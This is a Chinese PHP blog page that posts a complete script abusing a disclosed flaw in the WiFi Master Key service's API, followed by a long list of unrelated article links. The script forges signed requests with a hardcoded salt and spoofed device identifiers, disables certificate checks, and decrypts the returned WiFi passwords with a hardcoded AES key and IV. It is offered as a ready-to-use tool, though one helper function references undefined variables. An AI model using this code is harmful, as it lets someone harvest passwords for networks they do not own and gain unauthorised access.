WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
PHP.MVC的模板标签系统(四)
Sep 05 PHP
我用php+mysql写的留言本
Oct 09 PHP
php GD绘制24小时柱状图
Jun 28 PHP
php 图片上添加透明度渐变的效果
Jun 29 PHP
php不用内置函数对数组排序的两个算法代码
Feb 08 PHP
ThinkPHP中redirect用法分析
Dec 05 PHP
php自动提交表单的方法(基于fsockopen与curl)
May 09 PHP
CodeIgniter集成smarty的方法详解
May 26 PHP
PHP精确计算功能示例
Nov 29 PHP
总结的一些PHP开发中的tips(必看篇)
Mar 24 PHP
ubutu 16.04环境下,PHP与mysql数据库,网页登录验证实例讲解
Jul 20 PHP
PHP Swoole异步MySQL客户端实现方法示例
Oct 24 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
php的SimpleXML方法读写XML接口文件实例解析
2014/06/16 PHP
php投票系统之增加与删除投票(管理员篇)
2016/07/01 PHP
利用Laravel事件系统如何实现登录日志的记录详解
2017/05/20 PHP
js png图片(有含有透明)在IE6中为什么不透明了
2010/02/07 Javascript
jquery checkbox,radio是否选中的判断代码
2010/03/20 Javascript
jquery获取选中的文本和值的方法
2014/07/08 Javascript
Node.js的特点和应用场景介绍
2014/11/04 Javascript
js将json格式的对象拼接成复杂的url参数方法
2016/05/25 Javascript
jQuery使用正则表达式限制文本框只能输入数字
2016/06/18 Javascript
JS实现的抛物线运动效果示例
2018/01/30 Javascript
Vue2.x中利用@font-size引入字体图标报错的解决方法
2018/09/28 Javascript
vuejs简单验证码功能完整示例
2019/01/08 Javascript
vue在自定义组件中使用v-model进行数据绑定的方法
2019/03/25 Javascript
实例详解vue中的$root和$parent
2019/04/29 Javascript
vue如何获取自定义元素属性参数值的方法
2019/05/14 Javascript
小程序中的箭头函数的具体使用
2020/06/19 Javascript
详解vue v-model
2020/08/31 Javascript
Python写的贪吃蛇游戏例子
2014/06/16 Python
python编写爬虫小程序
2015/05/14 Python
Python发送http请求解析返回json的实例
2018/03/26 Python
基于Python对数据shape的常见操作详解
2018/12/25 Python
Python实现爬取亚马逊数据并打印出Excel文件操作示例
2019/05/16 Python
python交易记录整合交易类详解
2019/07/03 Python
python3反转字符串的3种方法(小结)
2019/11/07 Python
Python的几种主动结束程序方式
2019/11/22 Python
python将数组n等分的实例
2019/12/02 Python
tensorflow mnist 数据加载实现并画图效果
2020/02/05 Python
解决tensorflow添加ptb库的问题
2020/02/10 Python
Python3运算符常见用法分析
2020/02/14 Python
Python 字典中的所有方法及用法
2020/06/10 Python
python中编写函数并调用的知识点总结
2021/01/13 Python
python工具快速为音视频自动生成字幕(使用说明)
2021/01/27 Python
Champion澳大利亚官网:美国冠军运动服装
2018/05/07 全球购物
新郎父亲婚宴答谢词
2014/01/11 职场文书
社区安全温馨提示语
2015/07/14 职场文书
《月歌。》宣布制作10周年纪念剧场版《RABBITS KINGDOM THE MOVIE》
2022/04/02 日漫